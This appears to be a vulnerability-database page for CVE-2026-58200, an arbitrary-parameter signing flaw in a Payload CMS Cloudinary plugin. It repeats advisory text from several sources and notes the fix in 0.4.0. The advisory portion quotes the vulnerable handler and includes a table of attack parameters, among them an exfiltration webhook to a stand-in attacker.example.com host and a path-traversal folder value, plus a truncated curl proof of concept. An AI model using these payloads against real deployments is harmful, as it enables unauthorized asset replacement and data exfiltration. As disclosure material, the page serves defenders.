CVE-2026-58200
@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.1
@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.
- Record
CVE-2026-58200- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-78825
7.1
Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.
- Record
EUVD-2026-78825- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h5x8-xp6m-x6q4
7.1
@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin
Summary
@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.
Details
When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.
Vulnerable code path (step by step):
cloudinary/src/index.ts:58—initClientUploadsregisters the server upload handler.cloudinary/src/index.ts:68— The Cloudinary API key is exposed to client handler props by design.cloudinary/src/index.ts:74-79— The signing endpoint is mounted at/cloudinary-generate-signature.cloudinary/src/getGenerateSignature.ts:18— The default access control checks only!!req.user, permitting any authenticated user.cloudinary/src/getGenerateSignature.ts:46— The entire request body is parsed:const body = await req.json?.().cloudinary/src/getGenerateSignature.ts:55— Vulnerable sink: attacker-controlledbody.paramsToSignis forwarded verbatim to the signing function.
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()
if (!body?.paramsToSign) {
return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}
// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
There are no mitigations in place:
- No parameter key allowlist (attacker can include
overwrite,type,notification_url,invalidate, etc.) - No folder/public_id policy enforcement (the plugin's
folderoption fromindex.tsis never passed togetGenerateSignature) - No timestamp freshness check
- No restriction on path traversal sequences in
folderorpublic_id
Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:
| Case | paramsToSign | Impact |
|------|-------------|--------|
| CASE-2 | folder=attacker-controlled, overwrite=true | Overwrite any existing asset |
| CASE-3 | type=private, public_id=admin-document | Change asset visibility / bypass access control |
| CASE-4 | notification_url=http://attacker.example.com/exfil | SSRF / data exfiltration via Cloudinary webhook |
| CASE-5 | folder=../../../../admin-assets, invalidate=true | Path traversal + CDN cache invalidation |
Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.
PoC
Prerequisites:
@jhb.software/[email protected]deployed withclientUploads: true- An authenticated Payload session (any privilege level)
- Knowledge of
CLOUDINARY_CLOUD_NAMEand the client-exposed API key (exposed by design atindex.ts:68)
Step 1 — Obtain a signature for arbitrary parameters (bash):
TS=$(date +%s)
SIG=$(curl -s \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-H "Content-Type: application/json" \
-X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
--data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
| jq -r .signature)
echo "Obtained…
- Record
GHSA-h5x8-xp6m-x6q4- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
7.1
Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.
- Record
CVE-2026-58200- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-347
- Updated
- 2026-11-02
OSV
7.1
@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.
- Record
CVE-2026-58200- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVGHSA-h5x8-xp6m-x6q4
7.1
@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin
Summary
@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.
Details
When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.
Vulnerable code path (step by step):
cloudinary/src/index.ts:58—initClientUploadsregisters the server upload handler.cloudinary/src/index.ts:68— The Cloudinary API key is exposed to client handler props by design.cloudinary/src/index.ts:74-79— The signing endpoint is mounted at/cloudinary-generate-signature.cloudinary/src/getGenerateSignature.ts:18— The default access control checks only!!req.user, permitting any authenticated user.cloudinary/src/getGenerateSignature.ts:46— The entire request body is parsed:const body = await req.json?.().cloudinary/src/getGenerateSignature.ts:55— Vulnerable sink: attacker-controlledbody.paramsToSignis forwarded verbatim to the signing function.
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()
if (!body?.paramsToSign) {
return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}
// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
There are no mitigations in place:
- No parameter key allowlist (attacker can include
overwrite,type,notification_url,invalidate, etc.) - No folder/public_id policy enforcement (the plugin's
folderoption fromindex.tsis never passed togetGenerateSignature) - No timestamp freshness check
- No restriction on path traversal sequences in
folderorpublic_id
Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:
| Case | paramsToSign | Impact |
|------|-------------|--------|
| CASE-2 | folder=attacker-controlled, overwrite=true | Overwrite any existing asset |
| CASE-3 | type=private, public_id=admin-document | Change asset visibility / bypass access control |
| CASE-4 | notification_url=http://attacker.example.com/exfil | SSRF / data exfiltration via Cloudinary webhook |
| CASE-5 | folder=../../../../admin-assets, invalidate=true | Path traversal + CDN cache invalidation |
Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.
PoC
Prerequisites:
@jhb.software/[email protected]deployed withclientUploads: true- An authenticated Payload session (any privilege level)
- Knowledge of
CLOUDINARY_CLOUD_NAMEand the client-exposed API key (exposed by design atindex.ts:68)
Step 1 — Obtain a signature for arbitrary parameters (bash):
TS=$(date +%s)
SIG=$(curl -s \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-H "Content-Type: application/json" \
-X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
--data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
| jq -r .signature)
echo "Obtained…
- Record
GHSA-h5x8-xp6m-x6q4- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-347
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@jhb.software/payload-cloudinary-pluginnpm |
0.3.0 up to 0.4.0 | 0.4.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-58200 is a high vulnerability (CVSS 7.1) in Jhb-software Payload-plugins, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in @jhb.software/payload-cloudinary-plugin 0.4.0.
References
github.com/jhb-software/payload-plugins/security/advisories/GHSA-h5x8-xp6m-x6q4
github.com/jhb-software/payload-plugins/pull/155
github.com/jhb-software/payload-plugins/commit/da2325901c5eeced17d33a1b2e647e300b8cbff2
github.com/jhb-software/payload-plugins/releases/tag/[email protected]
github.com/advisories/GHSA-h5x8-xp6m-x6q4
github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58200.json
nvd.nist.gov/vuln/detail/CVE-2026-58200
github.com/jhb-software/payload-plugins
Left out here: the rest of 2 source descriptions. The JSON record has them.